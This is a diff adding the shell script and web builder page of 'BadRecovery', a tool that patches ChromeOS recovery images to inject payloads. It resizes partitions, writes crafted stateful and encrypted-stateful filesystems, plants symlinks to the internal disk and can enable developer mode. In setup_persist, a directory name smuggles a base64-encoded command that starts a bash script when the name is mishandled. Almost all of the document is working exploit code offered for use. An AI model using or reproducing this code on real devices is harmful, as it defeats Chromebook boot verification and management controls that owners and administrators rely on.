+ lvm vgmknodes || : + fi + [ -z "$LOOPDEV2" ] || losetup -d "$LOOPDEV2" || : + [ -z "$LOOPDEV" ] || losetup -d "$LOOPDEV" || : + rm -f "${TEMPFILES[@]}" + trap - EXIT INT +} + +fancy_bool() { + if [ $1 -ge 1 ]; then + echo "yes" + else + echo "no" + fi +} + +format_part_number() { + echo -n "$1" + echo "$1" | grep -q '[0-9]$' && echo -n p + echo "$2" +} + +key_wrapped() { + cat < other dd args + # Note: and are in units of SRC_BLKSIZE, while is in + # units of DST_BLKSIZE. + local user_count="$1" + local user_seek="$2" + local user_skip="$3" + local chunk_num="$4" + local total_chunks="$5" + shift 5 + # Provide some simple progress updates to the user. + set -- "$@" status=progress + # Find the largest block size that all the parameters are a factor of. + local block_size=$((2 * 1024 * 1024)) + while [ $(((user_count * SRC_BLKSIZE) % block_size)) -ne 0 ] || \ + [ $(((user_skip * SRC_BLKSIZE) % block_size)) -ne 0 ] || \ + [ $(((user_seek * DST_BLKSIZE) % block_size)) -ne 0 ]; do + + : $((block_size /= 2)) + done + + # Print a humble info line if the block size is not super, and complain more + # loudly if it's really small (and the partition is big). + if [ "${block_size}" -ne $((2 * 1024 * 1024)) ]; then + echo "DD with block size ${block_size}" + if [ "${block_size}" -lt $((128 * 1024)) ] && \ + [ $((user_count * SRC_BLKSIZE)) -gt $((128 * 1024 * 1024)) ]; then + echo + echo "WARNING: DOING A SLOW MISALIGNED dd OPERATION. PLEASE FIX" + echo "count=${user_count} seek=${user_seek} skip=${user_skip}" + echo "SRC_BLKSIZE=${SRC_BLKSIZE} DST_BLKSIZE=${DST_BLKSIZE}" + echo + fi + fi + + # Convert the block counts in their respective sizes into the common block + # size, and blast off. + local count_common=$((user_count * SRC_BLKSIZE / block_size)) + local seek_common=$((user_seek * DST_BLKSIZE / block_size)) + local skip_common=$((user_skip * SRC_BLKSIZE / block_size)) + + if [ "${total_chunks}" -ne 1 ]; then + # Divide the count by the number of chunks, rounding up. This is the + # chunk size. + local chunk_size=$(((count_common + total_chunks - 1) / total_chunks)) + + : $(( seek_common += chunk_size * (chunk_num - 1) )) + : $(( skip_common += chunk_size * (chunk_num - 1) )) + + if [ "${chunk_num}" -ne "${total_chunks}" ]; then + count_common="${chunk_size}" + else + : $(( count_common -= chunk_size * (chunk_num - 1) )) + fi + fi + + dd "$@" bs="${block_size}" seek="${seek_common}" skip="${skip_common}" \ + "count=${count_common}" +} + +detect_image_features() { + local version_line chunks_line rootfs_line modules_path + MNT_ROOT=$(mktemp -d) + mount -o ro "$1" "$MNT_ROOT" + + IMAGE_VERSION= + if [ -f "$MNT_ROOT/etc/lsb-release" ]; then + if version_line="$(grep -m 1 "^CHROMEOS_RELEASE_CHROME_MILESTONE=[0-9]" "$MNT_ROOT/etc/lsb-release")"; then + IMAGE_VERSION=$(echo "$version_line" | grep -o "[0-9]*") + fi + else + fail "Could not find /etc/lsb-release" + fi + if [ -z "$IMAGE_VERSION" ]; then + fail "Could not find image version." + fi + log_info "Detected version: $IMAGE_VERSION" + if [ $IMAGE_VERSION -gt 124 ]; then + fail "Image version is too new. Please use an image for r124 or older." + fi + + TARGET_ARCH=x86 + if [ -f "$MNT_ROOT/bin/bash" ]; then + case "$(file -b "$MNT_ROOT/bin/bash" | awk -F ', ' '{print $2}' | tr '[:upper:]' '[:lower:]')" in + *aarch64* | *armv8* | *arm*) TARGET_ARCH=arm ;; + esac + fi + log_info "Detected architecture: $TARGET_ARCH" + + CHUNKS=1 + LVM_STATEFUL=0 + if [ -f "$MNT_ROOT/usr/sbin/chromeos-install" ]; then + if chunks_line="$(grep -m 1 "^NUM_ROOTFS_CHUNKS=[0-9]" "$MNT_ROOT/usr/sbin/chromeos-install")"; then + CHUNKS=$(echo "$chunks_line" | grep -o "[0-9]*") + fi + grep -q '^DEFINE_boolean lvm_stateful "${FLAGS_TRUE}"' "$MNT_ROOT/usr/sbin/chromeos-install" && LVM_STATEFUL=1 + else + fail "Could not find /usr/sbin/chromeos-install" + fi + log_info "Detected chunks: $CHUNKS" + if [ $IMAGE_VERSION -lt 86 ] && [ $CHUNKS -ne 1 ]; then + fail "Unexpected chunk count (expected 1)" + elif [ $IMAGE_VERSION -ge 86 ] && [ $CHUNKS -ne 4 ]; then + fail "Unexpected chunk count (expected 4)" + fi + log_info "Detected LVM stateful: $(fancy_bool $LVM_STATEFUL)" + + ROOTA_BASE_SIZE=$((1024 * 1024 * 1024 * 4)) + LAYOUTV3=0 + if [ -f "$MNT_ROOT/usr/sbin/write_gpt.sh" ]; then + if rootfs_line="$(grep -m 1 "^ROOTFS_PARTITION_SIZE=[0-9]" "$MNT_ROOT/usr/sbin/write_gpt.sh")"; then + ROOTA_BASE_SIZE=$(echo "$rootfs_line" | grep -o "[0-9]*") + fi + grep -q "MINIOS" "$MNT_ROOT/usr/sbin/write_gpt.sh" && LAYOUTV3=1 + else + fail "Could not find /usr/sbin/write_gpt.sh" + fi + log_info "Detected ROOT-A size: $(format_bytes $ROOTA_BASE_SIZE)" + log_info "Detected layout v3: $(fancy_bool $LAYOUTV3)" + + KERNEL_VERSION= + SUPPORTS_BIG_DATE=0 + modules_path=$(echo "$MNT_ROOT/lib/modules"/* | head -n 1) + if [ -d "$modules_path" ]; then + KERNEL_VERSION=$(basename "$modules_path" | grep -oE "^[0-9]+\.[0-9]+") || : + fi + if [ -z "$KERNEL_VERSION" ]; then + log_warn "Could not find kernel version. Will assume no big date support" + else + log_info "Detected kernel version: $KERNEL_VERSION" + check_semver_ge "$KERNEL_VERSION" 4 4 && SUPPORTS_BIG_DATE=1 + fi + log_info "Detected big date support: $(fancy_bool $SUPPORTS_BIG_DATE)" + + umount "$MNT_ROOT" + rmdir "$MNT_ROOT" +} + +determine_internal_disk() { + local selected + if [ -n "$FLAGS_internal_disk" ]; then + INTERNAL_DISK="$FLAGS_internal_disk" + elif [ $YES -eq 1 ]; then + INTERNAL_DISK=mmcblk0 + else + echo "Choose your internal disk type and press enter:" + echo "1) mmcblk0 (eMMC)" + echo "2) mmcblk1 (eMMC)" + echo "3) nvme0n1 (NVMe)" + echo "4) sda (other SSD)" + echo "5) sdb (other SSD)" + echo "6) hda (HDD)" + while :; do + read -re selected + case "$selected" in + 1) INTERNAL_DISK=mmcblk0 ; break ;; + 2) INTERNAL_DISK=mmcblk1 ; break ;; + 3) INTERNAL_DISK=nvme0n1 ; break ;; + 4) INTERNAL_DISK=sda ; break ;; + 5) INTERNAL_DISK=sdb ; break ;; + 6) INTERNAL_DISK=hda ; break ;; + *) echo "Invalid input, try again" ;; + esac + done + fi + log_info "Internal disk: $INTERNAL_DISK" +} + +confirm_fourths_mode() { + local estimated_size selected + estimated_size=$(((ROOTA_BASE_SIZE + OVERFLOW_SIZE) * CHUNKS)) + log_warn "You have selected basic/persist when postinst is available, image size will be very large (about $(format_bytes $estimated_size))" + if [ $YES -eq 0 ]; then + echo "Do you want to continue? (y/N)" + read -re selected + case "$selected" in + [yY]) : ;; + *) fail "Aborting..." ;; + esac + fi +} + +determine_type() { + local enabled_var + log_info "Supports postinst: $(fancy_bool $ENABLE_POSTINST)" + log_info "Supports postinst_sym: $(fancy_bool $ENABLE_POSTINST_SYM)" + log_info "Supports persist: $(fancy_bool $ENABLE_PERSIST)" + log_info "Supports basic: $(fancy_bool $ENABLE_BASIC)" + log_info "Supports unverified: $(fancy_bool $ENABLE_UNVERIFIED)" + + if [ -n "$FLAGS_type" ]; then + enabled_var="ENABLE_$(echo "$FLAGS_type" | tr '[:lower:]' '[:upper:]')" + if [ "${!enabled_var}" -eq 1 ]; then + TYPE="$FLAGS_type" + else + fail "'$FLAGS_type' is not supported by this image." + fi + elif [ $ENABLE_UNVERIFIED -eq 1 ] && [ $IMAGE_VERSION -le 41 ]; then + TYPE=unverified + elif [ $ENABLE_POSTINST -eq 1 ]; then + TYPE=postinst + elif [ $ENABLE_POSTINST_SYM -eq 1 ] && [ $SUPPORTS_BIG_DATE -eq 1 ]; then + TYPE=postinst_sym + elif [ $ENABLE_PERSIST -eq 1 ]; then + TYPE=persist + elif [ $ENABLE_BASIC -eq 1 ]; then + TYPE=basic + else + fail "Nothing supported by this image :(" + fi +} + +mkpayload() { + local name file + if [ $PAYLOAD_ONLY -eq 1 ]; then + name="${1:-payload}" + file=$(mktemp "$name.XXXXX.bin") + log_info "Creating $name at $file" >&2 + chown "$USER:$USER" "$file" + echo "$file" + else + mktemp + fi +} + +mkfs() { + mkfs.ext4 -F -b 4096 -O ^metadata_csum,uninit_bg "$@" +} + +setup_roota() { + local src_dir + src_dir="$SCRIPT_DIR"/postinst + [ -d "$src_dir" ] || fail "Could not find postinst payload '$src_dir'" + suppress mkfs "$1" + MNT_ROOT=$(mktemp -d) + mount -o loop "$1" "$MNT_ROOT" + + cp -R "$src_dir"/* "$MNT_ROOT" + chmod +x "$MNT_ROOT"/postinst + + umount "$MNT_ROOT" + rmdir "$MNT_ROOT" +} + +setup_persist() { + local src_dir cmd_dir + src_dir="$SCRIPT_DIR"/persist + [ -d "$src_dir" ] || fail "Could not find persistence payload '$src_dir'" + mkdir -p "$MNT_ENCSTATEFUL"/var/lib/whitelist/persist "$MNT_ENCSTATEFUL"/var/cache "$MNT_STATE"/unencrypted/import_extensions + cp -R "$src_dir"/* "$MNT_ENCSTATEFUL"/var/lib/whitelist/persist + cmd_dir="---persist---';echo $(echo 'bash <(cat /var/lib/whitelist/persist/init.sh)'|base64 -w0)|base64 -d|setsid -f bash;echo '" + mkdir "$MNT_ENCSTATEFUL/var/lib/whitelist/$cmd_dir" + ln -s "/var/lib/whitelist/$cmd_dir" "$MNT_ENCSTATEFUL"/var/cache/external_cache +} + +find_unallocated_sectors() { + local allgaps gapstart + if allgaps=$(sfdisk -F "$1" | grep "^\s*[0-9]"); then + while read gap; do + gapstart=$(echo "$gap" | awk '{print $1}') + if [ "$(echo "$gap" | awk '{print $2}')" -ge "$gapstart" ] && [ "$(echo "$gap" | awk '{print $3}')" -ge "$2" ]; then + echo "$gapstart" + return + fi + done <<<"$allgaps" + fi + return 1 +} + +move_blocking_partitions() { + local part_table part_starts physical_part_table needs_move move_sizes total_move_size started this_num this_start this_size new_end gapstart next_gap + part_table=$("$CGPT" show -q "$1") + part_starts=$(echo "$part_table" | awk '{print $1}' | sort -n) + physical_part_table=() + for part in $part_starts; do + physical_part_table+=("$(echo "$part_table" | grep "^\s*${part}\s")") + done + + needs_move=() + move_sizes=() + total_move_size=0 + started=0 + for i in "${!physical_part_table[@]}"; do + this_num=$(echo "${physical_part_table[$i]}" | awk '{print $3}') + if [ $this_num -eq $2 ]; then + started=1 + elif [ $started -eq 0 ]; then + continue + fi + this_start=$(echo "${physical_part_table[$i]}" | awk '{print $1}') + this_size=$(echo "${physical_part_table[$i]}" | awk '{print $2}') + if [ $this_num -eq $2 ]; then + new_end=$((this_start + $3)) + continue + elif [ $this_start -le $new_end ]; then + needs_move+=($this_num) + move_sizes+=($this_size) + : $((total_move_size+=this_size)) + else + break + fi + done + + [ -n "$needs_move" ] || return 0 + log_info "Moving partitions: ${needs_move[@]}" + log_debug "sizes: ${move_sizes[@]}" + log_debug "total sectors to move: $total_move_size" + + gapstart=$(find_unallocated_sectors "$1" "$total_move_size") || : + [ -n "$gapstart" ] || fail "Not enough unpartitioned space in image." + log_debug "gap start: $gapstart" + next_gap=0 + for i in "${!needs_move[@]}"; do + suppress "$SFDISK" -N "${needs_move[$i]}" --move-data "$1" <<<"$((gapstart + next_gap))" + : $((next_gap+=${move_sizes[$i]})) + done +} + +trap 'echo $BASH_COMMAND failed with exit code $?. THIS IS A BUG, PLEASE REPORT!' ERR +trap 'cleanup; exit' EXIT +trap 'echo Abort.; cleanup; exit' INT + +get_flags() { + load_shflags + + FLAGS_HELP="Usage: $0 -i [flags]" + + DEFINE_string image "" "Path to recovery image" "i" + + DEFINE_string type "" "Type (postinst, postinst_sym, persist, basic, or unverified)" "t" + + DEFINE_string internal_disk "" "Internal disk for postinst_sym (mmcblk0, mmcblk1, nvme0n1, sda...)" + + DEFINE_boolean yes "$FLAGS_FALSE" "Assume yes for all questions" "y" + + DEFINE_boolean payload_only "$FLAGS_FALSE" "Generate payloads but don't modify image (image not required)" "" + + DEFINE_string encstateful_payload "" "Path to custom encstateful payload (tar)" "p" + + DEFINE_boolean devmode "$FLAGS_FALSE" "Create .developer_mode (persist, basic only)" "e" + + DEFINE_string finalsizefile "" "Write final image size in bytes to this file" "" + + DEFINE_boolean debug "$FLAGS_FALSE" "Print debug messages" "d" + + FLAGS "$@" || exit $? + + IMAGE="$FLAGS_image" + YES=0 + PAYLOAD_ONLY=0 + if [ "$FLAGS_yes" = "$FLAGS_TRUE" ]; then + YES=1 + fi + if [ "$FLAGS_payload_only" = "$FLAGS_TRUE" ]; then + PAYLOAD_ONLY=1 + fi + + if [ -z "$IMAGE" ] && [ $PAYLOAD_ONLY -eq 0 ]; then + flags_help || : + exit 1 + fi + case "$FLAGS_type" in + ""|postinst|postinst_sym|persist|basic|unverified) : ;; + *) echo "Invalid type '$FLAGS_type'"; flags_help || :; exit 1 ;; + esac + if [ -n "$FLAGS_encstateful_payload" ] && [ "$FLAGS_type" != basic ]; then + echo "Must specify --type=basic when using --encstateful_payload" + flags_help || : + exit 1 + fi +} + +[ -z "$SUDO_USER" ] || USER="$SUDO_USER" +get_flags "$@" + +BASIC_VERSION=1 +PAST_2038=0 +ENABLE_POSTINST=0 +ENABLE_POSTINST_SYM=0 +ENABLE_PERSIST=0 +ENABLE_BASIC=0 + +# this will always be enabled +ENABLE_UNVERIFIED=1 + +if [ -z "$IMAGE" ]; then + # assume everything works when using --payload_only and no image + TARGET_ARCH=x86 + LVM_STATEFUL=1 + LAYOUTV3=1 + SUPPORTS_BIG_DATE=1 + ENABLE_POSTINST=1 + ENABLE_POSTINST_SYM=1 + ENABLE_PERSIST=1 + ENABLE_BASIC=1 +else + if [ -b "$IMAGE" ]; then + log_info "Image is a block device, performance may suffer..." + else + check_file_rw "$IMAGE" || fail "$IMAGE doesn't exist, isn't a file, or isn't RW" + check_slow_fs "$IMAGE" + fi + check_gpt_image "$IMAGE" || fail "$IMAGE is not GPT, or is corrupted" + + log_info "Creating loop device" + LOOPDEV=$(losetup -f) + if [ $PAYLOAD_ONLY -eq 1 ]; then + losetup -r -P "$LOOPDEV" "$IMAGE" + else + losetup -P "$LOOPDEV" "$IMAGE" + fi + + detect_image_features "${LOOPDEV}p3" + + if [ $(date +%s) -gt 2147483647 ]; then + PAST_2038=1 + fi + if [ $IMAGE_VERSION -ge 86 ] && [ $LAYOUTV3 -eq 0 ]; then + ENABLE_POSTINST=1 + fi + if [ $IMAGE_VERSION -ge 34 ]; then + if [ $SUPPORTS_BIG_DATE -eq 0 ] && [ $PAST_2038 -eq 1 ]; then + log_warn "Past 2038, will not enable postinst_sym" + else + ENABLE_POSTINST_SYM=1 + fi + fi + if [ $IMAGE_VERSION -ge 26 ]; then + if [ $IMAGE_VERSION -lt 90 ]; then + ENABLE_PERSIST=1 + fi + if [ $IMAGE_VERSION -lt 120 ]; then + ENABLE_BASIC=1 + if [ $IMAGE_VERSION -ge 99 ]; then + BASIC_VERSION=2 + fi + fi + fi +fi + +OVERFLOW=1 +ROOTA_CHUNKS=1 +IMAGE_STATEFUL_PAYLOAD= + +determine_type +log_info "Using type: $TYPE" +case "$TYPE" in + postinst) + TARGET_ROOTA_SIZE=$((64 * 1024 * 1024)) # 64 MiB + IMAGE_STATEFUL_SIZE=$((4 * 1024 * 1024)) # 4 MiB + log_info "Creating ROOT-A payload" + TARGET_ROOTA_PAYLOAD=$(mkpayload root-a) + OVERFLOW_SIZE="$TARGET_ROOTA_SIZE" + OVERFLOW_PAYLOAD="$TARGET_ROOTA_PAYLOAD" + [ $PAYLOAD_ONLY -eq 1 ] || TEMPFILES+=("$TARGET_ROOTA_PAYLOAD") + truncate -s "$TARGET_ROOTA_SIZE" "$TARGET_ROOTA_PAYLOAD" + setup_roota "$TARGET_ROOTA_PAYLOAD" + ;; + postinst_sym) + TARGET_ROOTA_SIZE=$((16 * 1024 * 1024)) # 16 MiB + TARGET_STATEFUL_SIZE=$((4 * 1024 * 1024)) # 4 MiB + LVM_STATEFUL_SIZE=$((8 * 1024 * 1024)) # 8 MiB + IMAGE_STATEFUL_SIZE=$((32 * 1024 * 1024)) # 32 MiB + determine_internal_disk + TARGET_DEVICE=$(format_part_number "/dev/$INTERNAL_DISK" 3) + log_info "Creating ROOT-A payload" + TARGET_ROOTA_PAYLOAD=$(mkpayload root-a) + [ $PAYLOAD_ONLY -eq 1 ] || TEMPFILES+=("$TARGET_ROOTA_PAYLOAD") + truncate -s "$TARGET_ROOTA_SIZE" "$TARGET_ROOTA_PAYLOAD" + setup_roota "$TARGET_ROOTA_PAYLOAD" + + MNT_STATE=$(mktemp -d) + log_info "Creating stateful payload" + TARGET_STATEFUL_PAYLOAD=$(mkpayload stateful) + [ $PAYLOAD_ONLY -eq 1 ] || TEMPFILES+=("$TARGET_STATEFUL_PAYLOAD") + truncate -s "$TARGET_STATEFUL_SIZE" "$TARGET_STATEFUL_PAYLOAD" + suppress mkfs "$TARGET_STATEFUL_PAYLOAD" + mount -o loop "$TARGET_STATEFUL_PAYLOAD" "$MNT_STATE" + # ensure compatibility with both before and after https://crrev.com/c/2434286 + mkdir -p "$MNT_STATE"/unencrypted/import_extensions/import_extensions + ln -s "$TARGET_DEVICE" "$MNT_STATE"/unencrypted/import_extensions/image + ln -s "$TARGET_DEVICE" "$MNT_STATE"/unencrypted/import_extensions/import_extensions/image + umount "$MNT_STATE" + + if [ $LVM_STATEFUL -eq 1 ]; then + log_info "Creating LVM stateful" + LVM_STATEFUL_PAYLOAD=$(mkpayload lvm-stateful) + OVERFLOW_SIZE="$LVM_STATEFUL_SIZE" + OVERFLOW_PAYLOAD="$LVM_STATEFUL_PAYLOAD" + [ $PAYLOAD_ONLY -eq 1 ] || TEMPFILES+=("$LVM_STATEFUL_PAYLOAD") + truncate -s "$LVM_STATEFUL_SIZE" "$LVM_STATEFUL_PAYLOAD" + LOOPDEV2=$(losetup -f) + losetup "$LOOPDEV2" "$LVM_STATEFUL_PAYLOAD" + suppress lvm pvcreate -ff --yes "$LOOPDEV2" + VG_DEV=$(mktemp -u /dev/XXXXXXXXXX) + VG_NAME=$(basename "$VG_DEV") + suppress lvm vgcreate -p 1 "$VG_NAME" "$LOOPDEV2" + suppress lvm vgchange -ay "$VG_NAME" + suppress lvm lvcreate -Z n -L "${TARGET_STATEFUL_SIZE}B" -n unencrypted "$VG_NAME" + suppress lvm vgmknodes || : + LV_DEV="$VG_DEV"/unencrypted + [ -b "$LV_DEV" ] || fail "Could not create LVM stateful" + suppress dd count=1 bs="$TARGET_STATEFUL_SIZE" if="$TARGET_STATEFUL_PAYLOAD" of="$LV_DEV" conv=notrunc + sync + suppress lvm vgchange -an "$VG_NAME" + suppress lvm vgmknodes || : + VG_NAME= + losetup -d "$LOOPDEV2" + LOOPDEV2= + else + OVERFLOW_SIZE="$TARGET_STATEFUL_SIZE" + OVERFLOW_PAYLOAD="$TARGET_STATEFUL_PAYLOAD" + fi + + log_info "Creating image stateful payload" + IMAGE_STATEFUL_PAYLOAD=$(mkpayload image-stateful) + [ $PAYLOAD_ONLY -eq 1 ] || TEMPFILES+=("$IMAGE_STATEFUL_PAYLOAD") + truncate -s "$IMAGE_STATEFUL_SIZE" "$IMAGE_STATEFUL_PAYLOAD" + suppress mkfs "$IMAGE_STATEFUL_PAYLOAD" + mount -o loop "$IMAGE_STATEFUL_PAYLOAD" "$MNT_STATE" + mkdir -p "$MNT_STATE"/unencrypted/import_extensions + cp "$TARGET_ROOTA_PAYLOAD" "$MNT_STATE"/unencrypted/import_extensions/image + touch -t 244605100000 "$MNT_STATE"/unencrypted/import_extensions/image + umount "$MNT_STATE" + rmdir "$MNT_STATE" + ;; + persist|basic) + ENCSTATEFUL_SIZE=$((32 * 1024 * 1024)) # 32 MiB + TARGET_STATEFUL_SIZE=$((64 * 1024 * 1024)) # 64 MiB + IMAGE_STATEFUL_SIZE=$((4 * 1024 * 1024)) # 4 MiB + if [ $IMAGE_VERSION -lt 68 ]; then + log_warn "persist/basic is untested on versions below 68 and may not work." + fi + if [ $ENABLE_POSTINST -eq 1 ] && [ $PAYLOAD_ONLY -eq 0 ]; then + # fourths mode + confirm_fourths_mode + ROOTA_CHUNKS=$CHUNKS + fi + # todo: maybe support LVM stateful here? + log_info "Creating stateful payload" + TARGET_STATEFUL_PAYLOAD=$(mkpayload stateful) + OVERFLOW_SIZE="$TARGET_STATEFUL_SIZE" + OVERFLOW_PAYLOAD="$TARGET_STATEFUL_PAYLOAD" + [ $PAYLOAD_ONLY -eq 1 ] || TEMPFILES+=("$TARGET_STATEFUL_PAYLOAD") + truncate -s "$TARGET_STATEFUL_SIZE" "$TARGET_STATEFUL_PAYLOAD" + suppress mkfs -L H-STATE "$TARGET_STATEFUL_PAYLOAD" + MNT_STATE=$(mktemp -d) + MNT_ENCSTATEFUL=$(mktemp -d) + mount -o loop "$TARGET_STATEFUL_PAYLOAD" "$MNT_STATE" + + log_info "Setting up encstateful" + truncate -s "$ENCSTATEFUL_SIZE" "$MNT_STATE"/encrypted.block + ENCSTATEFUL_DEV=$(mktemp -u /dev/mapper/XXXXXXXXXX) + ENCSTATEFUL_NAME=$(basename "$ENCSTATEFUL_DEV") + ENCSTATEFUL_KEY=$(mktemp) + TEMPFILES+=("$ENCSTATEFUL_KEY") + key_cs > "$ENCSTATEFUL_KEY" + cryptsetup open --type plain --cipher aes-cbc-essiv:sha256 --key-size 256 --key-file "$ENCSTATEFUL_KEY" "$MNT_STATE"/encrypted.block "$ENCSTATEFUL_NAME" + + log_info "Creating encstateful" + suppress mkfs "$ENCSTATEFUL_DEV" + mount "$ENCSTATEFUL_DEV" "$MNT_ENCSTATEFUL" + + if [ -n "$FLAGS_encstateful_payload" ]; then + ENCSTATEFUL_TAR="$FLAGS_encstateful_payload" + elif [ $BASIC_VERSION -eq 2 ]; then + ENCSTATEFUL_TAR="$SCRIPT_DIR"/encstateful/devicesettings.tar.gz + else + ENCSTATEFUL_TAR="$SCRIPT_DIR"/encstateful/whitelist.tar.gz + fi + [ -f "$ENCSTATEFUL_TAR" ] || fail "Could not find encstateful payload '$ENCSTATEFUL_TAR'" + tar -xf "$ENCSTATEFUL_TAR" -C "$MNT_ENCSTATEFUL" + + if [ "$TYPE" = persist ]; then + setup_persist + fi + + key_wrapped > "$MNT_STATE"/encrypted.needs-finalization + if [ "$FLAGS_devmode" = "$FLAGS_TRUE" ]; then + touch "$MNT_STATE"/.developer_mode + fi + if [ "$FLAGS_debug" = "$FLAGS_TRUE" ]; then + echo "Stateful:" + tree -a "$MNT_STATE" || : + echo "Encstateful:" + tree -a "$MNT_ENCSTATEFUL" || : + fi + + umount "$MNT_ENCSTATEFUL" + rmdir "$MNT_ENCSTATEFUL" + cryptsetup close "$ENCSTATEFUL_NAME" + umount "$MNT_STATE" + rmdir "$MNT_STATE" + ;; + unverified) + OVERFLOW=0 + TARGET_ROOTA_SIZE=$((64 * 1024 * 1024)) # 64 MiB + IMAGE_STATEFUL_SIZE=$((4 * 1024 * 1024)) # 4 MiB + log_info "Creating ROOT-A payload" + TARGET_ROOTA_PAYLOAD=$(mkpayload root-a) + MAIN_PAYLOAD_SIZE="$TARGET_ROOTA_SIZE" + MAIN_PAYLOAD="$TARGET_ROOTA_PAYLOAD" + [ $PAYLOAD_ONLY -eq 1 ] || TEMPFILES+=("$TARGET_ROOTA_PAYLOAD") + truncate -s "$TARGET_ROOTA_SIZE" "$TARGET_ROOTA_PAYLOAD" + + src_dir="$SCRIPT_DIR"/unverified + [ -d "$src_dir" ] || fail "Could not find unverified payload '$src_dir'" + src_busybox="$SCRIPT_DIR"/busybox/"$TARGET_ARCH"/busybox + [ -f "$src_busybox" ] || fail "Could not find busybox '$src_busybox'" + suppress mkfs "$TARGET_ROOTA_PAYLOAD" + MNT_ROOT=$(mktemp -d) + mount -o loop "$TARGET_ROOTA_PAYLOAD" "$MNT_ROOT" + + mkdir -p "$MNT_ROOT"/usr/sbin "$MNT_ROOT"/bin "$MNT_ROOT"/dev "$MNT_ROOT"/proc "$MNT_ROOT"/run "$MNT_ROOT"/sys "$MNT_ROOT"/tmp "$MNT_ROOT"/var + cp "$src_busybox" "$MNT_ROOT"/bin + cp -R "$src_dir"/* "$MNT_ROOT"/usr/sbin + chmod +x "$MNT_ROOT"/bin/busybox "$MNT_ROOT"/usr/sbin/chromeos-recovery + + umount "$MNT_ROOT" + rmdir "$MNT_ROOT" + ;; + *) fail "how did we get here?" ;; +esac + +if [ $PAYLOAD_ONLY -eq 0 ]; then + suppress sgdisk -e "$IMAGE" 2>&1 | sed 's/\a//g' + + SECTOR_SIZE=$(get_sector_size "$LOOPDEV") + SRC_BLKSIZE="$SECTOR_SIZE" + DST_BLKSIZE="$SECTOR_SIZE" + OLD_SECTORS=$(get_sectors "$LOOPDEV") + OLD_SIZE=$((SECTOR_SIZE * OLD_SECTORS)) + + suppress "$SFDISK" --delete "$LOOPDEV" 1 || : + + if [ $OVERFLOW -eq 1 ]; then + OVERFLOW_OFFSET=0 + if [ $LAYOUTV3 -eq 1 ]; then + OVERFLOW_OFFSET=$((4 * 1024 * 1024)) # extra 4 MiB for POWERWASH-DATA + fi + + ROOTA_NEW_PER_CHUNK_SIZE=$((ROOTA_BASE_SIZE + OVERFLOW_OFFSET + OVERFLOW_SIZE)) + ROOTA_NEW_SIZE=$((ROOTA_NEW_PER_CHUNK_SIZE * ROOTA_CHUNKS)) + EXPANDED_SIZE=$((ROOTA_NEW_SIZE + IMAGE_SIZE_BUFFER)) + + log_info "Payload size: $(format_bytes $OVERFLOW_SIZE)" + log_info "Maximum new image size: $(format_bytes $EXPANDED_SIZE)" + + if [ $EXPANDED_SIZE -gt $OLD_SIZE ]; then + resize_image "$EXPANDED_SIZE" "$IMAGE" "$LOOPDEV" + fi + + move_blocking_partitions "$LOOPDEV" 3 "$((ROOTA_NEW_SIZE / SECTOR_SIZE))" + + log_info "Resizing ROOT-A" + "$CGPT" add "$LOOPDEV" -i 3 -s "$((ROOTA_NEW_SIZE / SECTOR_SIZE))" + partx -u -n 3 "$LOOPDEV" + + log_info "Injecting payload" + suppress fast_dd "$((OVERFLOW_SIZE / SECTOR_SIZE))" "$(((ROOTA_BASE_SIZE + OVERFLOW_OFFSET) / SECTOR_SIZE))" 0 1 1 if="$OVERFLOW_PAYLOAD" of="${LOOPDEV}p3" conv=notrunc + + if [ $ROOTA_CHUNKS -gt 1 ]; then + log_info "Duplicating chunked data" + suppress fast_dd "$((ROOTA_BASE_SIZE / SECTOR_SIZE))" "$((ROOTA_NEW_PER_CHUNK_SIZE / SECTOR_SIZE))" "$(((OVERFLOW_OFFSET + OVERFLOW_SIZE) / SECTOR_SIZE))" 1 1 if="${LOOPDEV}p3" of="${LOOPDEV}p3" conv=notrunc + fi + else + ROOTA_NEW_SIZE=$((MAIN_PAYLOAD_SIZE * ROOTA_CHUNKS)) + log_info "Payload size: $(format_bytes $MAIN_PAYLOAD_SIZE)" + + log_info "Resizing ROOT-A" + "$CGPT" add "$LOOPDEV" -i 3 -s "$((ROOTA_NEW_SIZE / SECTOR_SIZE))" + partx -u -n 3 "$LOOPDEV" + + log_info "Injecting payload" + suppress fast_dd "$((MAIN_PAYLOAD_SIZE / SECTOR_SIZE))" 0 0 1 1 if="$MAIN_PAYLOAD" of="${LOOPDEV}p3" conv=notrunc + fi + + cgpt_add_auto "$IMAGE" "$LOOPDEV" 1 $((IMAGE_STATEFUL_SIZE / SECTOR_SIZE)) -t data -l STATE + if [ -n "$IMAGE_STATEFUL_PAYLOAD" ]; then + log_info "Injecting image stateful payload" + suppress fast_dd "$((IMAGE_STATEFUL_SIZE / SECTOR_SIZE))" 0 0 1 1 if="$IMAGE_STATEFUL_PAYLOAD" of="${LOOPDEV}p1" conv=notrunc + else + log_info "Recreating image stateful" + suppress mkfs "${LOOPDEV}p1" + fi +fi + +sync +cleanup +[ $PAYLOAD_ONLY -eq 1 ] || truncate_image "$IMAGE" "$FLAGS_finalsizefile" +log_info "Done!" diff --git a/builder.html b/builder.html new file mode 100644 index 0000000..d032455 --- /dev/null +++ b/builder.html @@ -0,0 +1,63 @@ + + + + + + BadRecovery web builder + + + +
+

BadRecovery web builder

+ Home +

+ Follow the steps here + to find the right file to upload here. Do not upload a zip file; you must unzip it and use the bin file inside. +
Before pressing start, you may select any of the options below. Note that "Internal disk" is only applicable for the postinst_sym type. +
Press the start button to select your file. The builder will start up and your built image will automatically download when finished. +

+
+

Options

+ + + +
+ Start + +
+
+
+
+
Main Output
+
+
+
+
Linux Output
+
+
+ +
+
+
+
+
Powered by Buildroot and v86
